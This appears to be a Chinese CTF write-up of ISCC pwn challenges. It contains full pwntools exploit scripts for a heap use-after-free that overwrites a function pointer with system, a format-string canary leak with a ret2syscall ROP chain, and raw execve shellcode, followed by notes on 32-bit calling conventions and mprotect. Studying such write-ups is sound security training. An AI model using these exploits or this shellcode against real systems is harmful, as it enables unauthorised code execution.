2024 iscc

又快iscc了复现一下去年的,打这个比赛的时候还是个刚入门的小菜鸡

ISCC_U

和hicton lab中的那个UAF一样,但没有后门函数需要泄露地址,堆块限制5个

思路:

  1. 通过unsortedbin泄露地址
  2. uaf嘛,借助hicton lab那道题的思想,篡改结构体中的print_note_content的指针为system

glibc2.23的情况下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './iscc_U'
if args['G']:
p = remote('', )
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
# libc = ELF('libc-2.23.so')
# gdb.attach(p)

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda name, addr :log.success('{} = {:#x}'.format(name, addr))

menu = b'What\'s your choice :'

def add(size,content):
sla(menu,b'1')
sla(b'Note size :',str(size))
sa(b'Content :',content)

def delete(idx):
sla(menu,b'2')
sla(b'Index :',str(idx))

def show(idx):
sla(menu,b'3')
sla(b'Index :',str(idx))

add(0x80,b'dada')#0
add(0x28,b'/bin/sh\x00')#1
delete(0)
add(0x80,b'dada')#2
show(0)
ru(b'dada')
data = uu32(r(4)) - 0x1b07b0
leak('libc_base',data)
system_addr = data + libc.sym['system']
free_hook = data + libc.sym['__free_hook']
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
one = data + gadgets[0]
leak('one',one)
add(0x20,b'aaaa')#3

delete(1)
delete(2)

add(0x8, p32(system_addr) + b';sh\x00')#4
show(1)

itr()

glibc2.31的情况下,思路一样,第一个堆块要大于0x400放入unsortedbin中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './iscc_U'
if args['G']:
p = remote('', )
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
# libc = ELF('libc-2.23.so')
# gdb.attach(p)

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda name, addr :log.success('{} = {:#x}'.format(name, addr))

menu = b'What\'s your choice :'

def add(size,content):
sla(menu,b'1')
sla(b'Note size :',str(size))
sa(b'Content :',content)

def delete(idx):
sla(menu,b'2')
sla(b'Index :',str(idx))

def show(idx):
sla(menu,b'3')
sla(b'Index :',str(idx))

add(0x400,b'dada')#0
add(0x28,b'/bin/sh\x00')#1
delete(0)
add(0x80,b'dada')#2
show(0)
ru(b'dada')
data = uu32(r(4)) - 0x1b07b0
leak('libc_base',data)
system_addr = data + libc.sym['system']
free_hook = data + libc.sym['__free_hook']
add(0x20,b'aaaa')#3

delete(1)
delete(2)

add(0x8, p32(system_addr) + b';sh\x00')#4
show(1)

itr()

收获

32位get shell : add(0x8, p32(system_addr) + b';sh\x00')

heapheap

有沙盒

但是四个功能齐全

miao

格式化字符串 + ret2syscall

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# time: 2025-04-14 21:13:06
from pwn import *
import time

context.terminal = ['tmux', 'splitw', '-h']
context(log_level='debug', arch='amd64', os='linux')

file_name = './pwn'
if args['G']:
p = remote('', )
else:
p = process(file_name)
elf = ELF(file_name)
libc = elf.libc
# libc = ELF('libc-2.23.so')
# gdb.attach(p)

s = lambda data :p.send(data)
sa = lambda delim, data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim, data :p.sendlineafter(delim, data)
r = lambda num=4096 :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
leak = lambda name, addr :log.success('{} = {:#x}'.format(name, addr))

fmt = b'%31$p'
bin_sh = 0x080bb7c8
int_80 = 0x0806cf83
eax = 0x080b8666
edcbx = 0x0806f330
mprotect = 0x0806E3D0
ru(b'Would you like to say something to it?')
sl(fmt)
ru(b'0x')
canary = int(r(8),16)
leak('canary',canary)
ru(b" ( ^.^ ) \n")

payload = b'a'*0x64 + p32(canary) + b'a'*0x8 + b'b'*0x4
payload += p32(eax) + p32(0xb)
payload += p32(edcbx) + p32(0) + p32(0) + p32(bin_sh)
payload += p32(int_80)
sl(payload)

itr()
##用mprotect()这个bss的位置可能需要调一下
payload = b'a'*(0x70-0xc)+p32(canary)+b'a'*(0xc)
payload += p32(mprotect)+p32(edcbx)+p32(7)+p32(0x1000)+p32(bss)
payload += p32(read)+p32(edcbx)+p32(0x100)+p32(bss)+p32(0)
payload += p32(bss)
sl(payload)
shellcode = b'\x31\xc9\x31\xd2\x31\xc0\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
sl(shellcode)

32位寄存器传参

寄存器传递

  • 前 5 个整型或指针类型的参数通过寄存器传递。这些寄存器是:
    • EAX:用于返回值
    • EBXECXEDXESIEDI:用于传递参数(参数列表从左到右的顺序)

mprotect

mprotect() 函数是一个系统调用,用于更改已映射内存区域的保护属性。它通常在需要更改内存区域的访问权限时使用,例如在实现内存保护、执行代码或读写操作时。mprotect() 函数通常用于操作系统的内存管理,特别是在 Unix/Linux 系统中。

函数原型

1
2
3
#include <sys/mman.h>

int mprotect(void *addr, size_t len, int prot);

参数

  • addr:指向要更改保护属性的内存区域的起始地址。该地址必须是页面大小的倍数,通常为 4096 字节(4KB)。
  • len:要更改保护属性的内存区域的长度(以字节为单位)。同样,这个值也必须是页面大小的倍数。
  • prot:新的保护属性标志,可以是以下之一的组合:
    • PROT_READ:允许读取。
    • PROT_WRITE:允许写入。
    • PROT_EXEC:允许执行。
    • PROT_NONE:禁止访问。

返回值

  • 如果成功,mprotect() 返回 0。

  • 如果失败,返回 -1,并且设置

    1
    errno

    以指示错误类型。常见的错误包括:

    • EINVAL:无效的参数(例如,addr 不是页面大小的倍数)。
    • ENOMEM:请求的内存区域无法访问。
    • EPERM:试图设置不允许的保护属性(例如,尝试执行一个没有执行权限的内存区域)。